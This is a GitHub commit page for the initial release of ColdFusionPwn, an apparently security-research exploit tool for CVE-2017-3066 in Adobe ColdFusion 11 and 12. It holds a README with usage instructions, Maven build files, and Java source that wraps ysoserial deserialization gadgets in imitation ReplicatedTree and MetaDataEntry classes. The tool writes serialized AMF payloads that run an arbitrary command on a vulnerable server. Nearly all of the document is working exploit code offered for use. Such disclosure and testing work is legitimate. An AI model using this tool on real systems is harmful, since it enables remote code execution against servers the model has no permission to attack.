Skip to content

Commit 782fe18

Browse files
matthiaskaisermatthiaskaiser
committed
Initial release
1 parent e59b5a8 commit 782fe18

File tree

6 files changed

+307
-0
lines changed

6 files changed

+307
-0
lines changed

‎README.md

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
# ColdFusionPwn
2+
Exploitation Tool for CVE-2017-3066 targeting Adobe Coldfusion 11/12.
3+
4+
## Description
5+
The tool allows you to generate serialized AMF-payloads to exploit the missing input validation of allowed classes.
6+
For details see our [blog post](https://codewhitesec.blogspot.com/2018/03/exploiting-adobe-coldfusion.html).
7+
8+
## Install
9+
Get the latest version of [ysoserial](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar).
10+
Get ColdFusionPwn from [releases](https://github.com/codewhitesec/ColdFusionPwn/releases).
11+
12+
## Usage
13+
```bash
14+
java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-master-SNAPSHOT.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner [-s|-e] [payload type] '[command]' [outfile]
15+
```
16+
```
17+
- [-s|-e] Setter (CF11) or Externalizable Exploit (CF11/12) technique
18+
- [payload type] ysoserial gadget payload
19+
- [command] command to be executed
20+
- [outfile] output file for the generated payload
21+
```
22+
It's required to have ColdFusionPwn-0.0.1-SNAPSHOT-all.jar as first entry in the classpath, since the ApacheCommons BeanUtils library shipped with ysoserial is newer (and has a different serialversion uid).
23+
24+
## Examples
25+
```bash
26+
java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-master-SNAPSHOT.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 calc.exe /tmp/out.amf
27+
```

‎pom.xml

Lines changed: 87 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
<modelVersion>4.0.0</modelVersion>
6+
7+
<groupId>codewhitesec</groupId>
8+
<artifactId>ColdFusionPwn</artifactId>
9+
<version>0.0.1-SNAPSHOT</version>
10+
11+
<build>
12+
<plugins>
13+
14+
<plugin>
15+
<groupId>org.apache.maven.plugins</groupId>
16+
<artifactId>maven-compiler-plugin</artifactId>
17+
<version>3.7.0</version>
18+
<configuration>
19+
<source>1.7</source>
20+
<target>1.7</target>
21+
</configuration>
22+
</plugin>
23+
<plugin>
24+
<artifactId>maven-assembly-plugin</artifactId>
25+
<configuration>
26+
<finalName>${project.artifactId}-${project.version}-all</finalName>
27+
<appendAssemblyId>false</appendAssemblyId>
28+
<archive>
29+
<manifest>
30+
<mainClass>com.codewhitesec.coldfusionpwn.ColdFusionPwner</mainClass>
31+
</manifest>
32+
<manifestEntries>
33+
<Class-Path>/</Class-Path>
34+
</manifestEntries>
35+
</archive>
36+
37+
<descriptors>
38+
<descriptor>src/assembly/bin.xml</descriptor>
39+
</descriptors>
40+
41+
</configuration>
42+
<executions>
43+
<execution>
44+
<id>make-assembly</id>
45+
<phase>package</phase>
46+
<goals>
47+
<goal>single</goal>
48+
</goals>
49+
</execution>
50+
</executions>
51+
</plugin>
52+
</plugins>
53+
</build>
54+
55+
<dependencies>
56+
<dependency>
57+
<groupId>org.apache.flex.blazeds</groupId>
58+
<artifactId>flex-messaging-core</artifactId>
59+
<version>4.7.3</version>
60+
<exclusions>
61+
<exclusion>
62+
<groupId>xalan</groupId>
63+
<artifactId>xalan</artifactId>
64+
</exclusion>
65+
</exclusions>
66+
</dependency>
67+
68+
<dependency>
69+
<groupId>ysoserial</groupId>
70+
<artifactId>ysoserial</artifactId>
71+
<version>0.0.6-SNAPSHOT</version>
72+
<scope>system</scope>
73+
<systemPath>${ysoserial}</systemPath>
74+
<!--<systemPath>/tmp/ysoserial-master-SNAPSHOT-all.jar</systemPath> -->
75+
<type>jar</type>
76+
</dependency>
77+
78+
<dependency>
79+
<groupId>commons-beanutils</groupId>
80+
<artifactId>commons-beanutils</artifactId>
81+
<version>1.8.0</version>
82+
</dependency>
83+
84+
</dependencies>
85+
86+
87+
</project>

‎src/assembly/bin.xml

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
<assembly
2+
xmlns="http://maven.apache.org/plugins/maven-assembly-plugin/assembly/1.1.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/plugins/maven-assembly-plugin/assembly/1.1.0 http://maven.apache.org/xsd/assembly-1.1.0.xsd">
5+
<id>jar-with-all-dependencies</id>
6+
<formats>
7+
<format>jar</format>
8+
</formats>
9+
10+
11+
<includeBaseDirectory>false</includeBaseDirectory>
12+
<dependencySets>
13+
<dependencySet>
14+
<outputDirectory>/</outputDirectory>
15+
<useProjectArtifact>true</useProjectArtifact>
16+
<unpack>true</unpack>
17+
18+
<unpackOptions>
19+
<excludes>
20+
<exclude>ysoserial/**</exclude>
21+
<exclude>META-INF/maven/ysoserial/**</exclude>
22+
</excludes>
23+
</unpackOptions>
24+
<scope>runtime</scope>
25+
</dependencySet>
26+
<dependencySet>
27+
<outputDirectory>/</outputDirectory>
28+
<unpack>true</unpack>
29+
<scope>system</scope>
30+
<unpackOptions>
31+
<excludes>
32+
<exclude>ysoserial/**</exclude>
33+
<exclude>META-INF/maven/ysoserial/**</exclude>
34+
</excludes>
35+
</unpackOptions>
36+
</dependencySet>
37+
</dependencySets>
38+
39+
</assembly>

‎src/main/java/com/codewhitesec/coldfusionpwn/ColdFusionPwner.java

Lines changed: 83 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,83 @@
1+
package com.codewhitesec.coldfusionpwn;
2+
3+
import flex.messaging.io.SerializationContext;
4+
import flex.messaging.io.amf.ActionMessage;
5+
import flex.messaging.io.amf.AmfMessageSerializer;
6+
import flex.messaging.io.amf.AmfTrace;
7+
import flex.messaging.io.amf.MessageBody;
8+
import org.apache.axis2.util.MetaDataEntry;
9+
import org.jgroups.blocks.ReplicatedTree;
10+
import ysoserial.payloads.ObjectPayload;
11+
12+
import java.io.FileOutputStream;
13+
import java.io.IOException;
14+
import java.io.Serializable;
15+
16+
public class ColdFusionPwner {
17+
18+
public static void main(String[] args) throws Exception {
19+
20+
21+
if(args.length != 4){
22+
printUsage();
23+
System.exit(-1);
24+
}
25+
26+
Object payload = null;
27+
String method = args[0].trim();
28+
29+
Serializable gadget = genYsoSerialPayload(args[1],args[2]);
30+
31+
if(method.equals("-s")){
32+
33+
payload = new ReplicatedTree(gadget);
34+
35+
}else if(method.equals("-e")){
36+
37+
payload = new MetaDataEntry(gadget);
38+
39+
}else{
40+
printUsage();
41+
System.exit(-1);
42+
}
43+
44+
genExploit(payload,args[3]);
45+
46+
}
47+
48+
private static void printUsage() {
49+
50+
System.err.println("Usage: java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:/path/to/ysoserial-master-SNAPSHOT-all.jar [-s|-e] [payload type] '[command to execute]' [outfile]");
51+
52+
}
53+
54+
public static Serializable genYsoSerialPayload(String payloadType, String command) throws Exception {
55+
56+
Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
57+
58+
ObjectPayload payload = (ObjectPayload)payloadClass.newInstance();
59+
Object object = payload.getObject(command);
60+
61+
return (Serializable) object;
62+
}
63+
64+
65+
public static void genExploit(Object payload,String file) throws IOException {
66+
67+
FileOutputStream fout = new FileOutputStream(file);
68+
SerializationContext context = new SerializationContext();
69+
AmfTrace trace = new AmfTrace();
70+
71+
AmfMessageSerializer seri = new AmfMessageSerializer();
72+
seri.initialize(context, fout, trace);
73+
74+
ActionMessage message = new ActionMessage(3);
75+
MessageBody body = new MessageBody();
76+
body.setData(payload);
77+
message.addBody(body);
78+
79+
seri.writeMessage(message);
80+
81+
}
82+
83+
}

‎src/main/java/org/apache/axis2/util/MetaDataEntry.java

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
package org.apache.axis2.util;
2+
3+
import java.io.*;
4+
5+
6+
public class MetaDataEntry implements Externalizable {
7+
8+
private Object payload;
9+
private static final long serialVersionUID = 8978361069526299875L;
10+
private static final int REVISION_2 = 2;
11+
private static final int revisionID = 2;
12+
13+
public MetaDataEntry(Object payload){
14+
this.payload = payload;
15+
}
16+
17+
public void writeExternal(ObjectOutput o) throws IOException {
18+
19+
ByteArrayOutputStream bout = new ByteArrayOutputStream();
20+
ObjectOutputStream oout = new ObjectOutputStream(bout);
21+
oout.writeObject(payload);
22+
byte[] bytes = bout.toByteArray();
23+
24+
o.writeLong(serialVersionUID);
25+
o.writeInt(2);
26+
o.writeBoolean(true);
27+
o.writeBoolean(false);
28+
o.writeInt(bytes.length);
29+
o.write(bytes);
30+
o.writeObject(null);
31+
o.writeObject(null);
32+
o.writeObject(null);
33+
34+
}
35+
36+
public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
37+
// we don't care
38+
}
39+
40+
}

‎src/main/java/org/jgroups/blocks/ReplicatedTree.java

Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
package org.jgroups.blocks;
2+
3+
import java.io.ByteArrayOutputStream;
4+
import java.io.IOException;
5+
import java.io.ObjectOutputStream;
6+
7+
public class ReplicatedTree {
8+
9+
private Object payload;
10+
private byte[] state;
11+
12+
public ReplicatedTree(Object payload){
13+
this.payload = payload;
14+
}
15+
16+
public byte[] getState() throws IOException {
17+
18+
ByteArrayOutputStream stream = new ByteArrayOutputStream();
19+
stream.write(2);
20+
21+
ObjectOutputStream oos = new ObjectOutputStream(stream);
22+
oos.writeObject(payload);
23+
state = stream.toByteArray();
24+
25+
return state;
26+
}
27+
28+
public void setState(byte[] state) {
29+
//we don't care
30+
}
31+
}

0 commit comments

Comments
 (0)